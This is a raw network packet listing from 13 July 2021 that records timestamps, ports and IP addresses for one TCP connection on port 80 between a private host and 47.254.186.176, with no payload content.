Jul 13, 2021 14:37:54.841090918 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841109037 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.841114044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841172934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841196060 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841214895 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.841217995 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841252089 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.841283083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841306925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841345072 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.841367006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841391087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841413975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841435909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841438055 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.841458082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841466904 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.841481924 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841500044 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.841504097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841526031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841551065 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841564894 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.841573954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841595888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841603041 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.841618061 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841639042 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.841639996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841662884 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841690063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841706991 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.841712952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841734886 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841739893 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.841758013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841775894 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.841778994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841804981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841826916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841839075 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.841847897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.841873884 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.842658043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.842684031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.842706919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.842730045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.842751026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.842773914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.842796087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.842824936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.842839003 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.842849016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.842871904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.842894077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.842916012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.842938900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.842961073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.842968941 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.842983961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843009949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843028069 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.843034029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843055964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843077898 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843100071 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843107939 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.843133926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843156099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843159914 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.843177080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843198061 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843223095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843245029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843266010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843276024 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.843394995 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.843518019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843540907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843564034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843585968 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843599081 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.843609095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843631029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843684912 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.843717098 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.843734980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843758106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843779087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843801022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843813896 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.843822956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843899012 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.843919992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843943119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843965054 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.843986988 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844043970 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.844053984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844136000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.844167948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844193935 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844217062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844279051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844301939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844317913 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.844351053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844399929 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.844409943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844450951 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.844470978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844494104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844605923 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.844669104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844696045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844712973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844738007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844762087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844778061 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.844784021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844806910 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844829082 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.844829082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844851971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844856024 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.844876051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844898939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844913960 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.844924927 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844947100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844950914 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.844965935 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.844984055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845062971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845087051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845108986 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845134020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845136881 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.845172882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845196009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845215082 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.845217943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845243931 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.845246077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845365047 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.845596075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845622063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845643997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845671892 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.845673084 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845696926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845719099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845736980 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.845752001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845774889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845799923 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845801115 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.845824957 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845827103 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.845848083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845870972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845875025 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.845894098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845916033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845935106 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.845937967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845961094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845966101 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.845987082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.845999956 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.846009970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.846030951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.846052885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.846060991 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.846076012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.846102953 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.846714973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.846740007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.846760988 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.846762896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.846786976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.846806049 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.846865892 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.846889019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.846910954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.846930981 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.846934080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.846956968 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.846982002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.846985102 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.847004890 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847026110 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.847031116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847052097 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.847054958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847076893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847098112 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847101927 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.847135067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847146034 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.847157001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847177982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847199917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847203016 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.847222090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847239017 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.847246885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847270966 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847291946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847299099 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.847335100 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.847356081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847378969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847403049 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847434998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847446918 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.847487926 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.847839117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847863913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847884893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847908974 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.847910881 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.847963095 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.848016024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.848041058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.848062992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.848084927 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.848104954 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.848107100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.848138094 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.848218918 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.848242998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.848264933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.848273993 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.848288059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.848315954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.848319054 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.848339081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.848361015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.848381996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.848386049 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.848406076 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.848414898 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.848428965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.848445892 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.848453999 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.848478079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.848526001 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.848910093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.848933935 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.848957062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.848973036 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.848978043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849000931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849023104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849028111 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.849056959 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.849066973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849087954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849106073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849195004 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.849246025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849282980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849317074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849344015 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.849436045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849474907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849484921 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.849509001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849530935 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849554062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849575043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849577904 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.849601030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849616051 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.849622965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849644899 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849652052 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.849668026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849689007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849706888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849709034 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.849725008 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849742889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.849817991 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.850131035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850188017 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.850214958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850239038 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850274086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850282907 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.850320101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850363970 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.850415945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850461006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850481987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850514889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850517988 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.850538015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850564003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850585938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850585938 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.850609064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850616932 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.850630999 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850651979 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.850667953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850714922 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850716114 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.850742102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850764990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850786924 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850809097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850811005 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.850831985 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.850842953 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.850878000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.850979090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851001978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851048946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851049900 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.851208925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851233006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851258993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851262093 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.851300955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851310015 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.851325035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851346016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851386070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851422071 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.851429939 CEST	49757	80	192.168.2.3	47.254.186.176
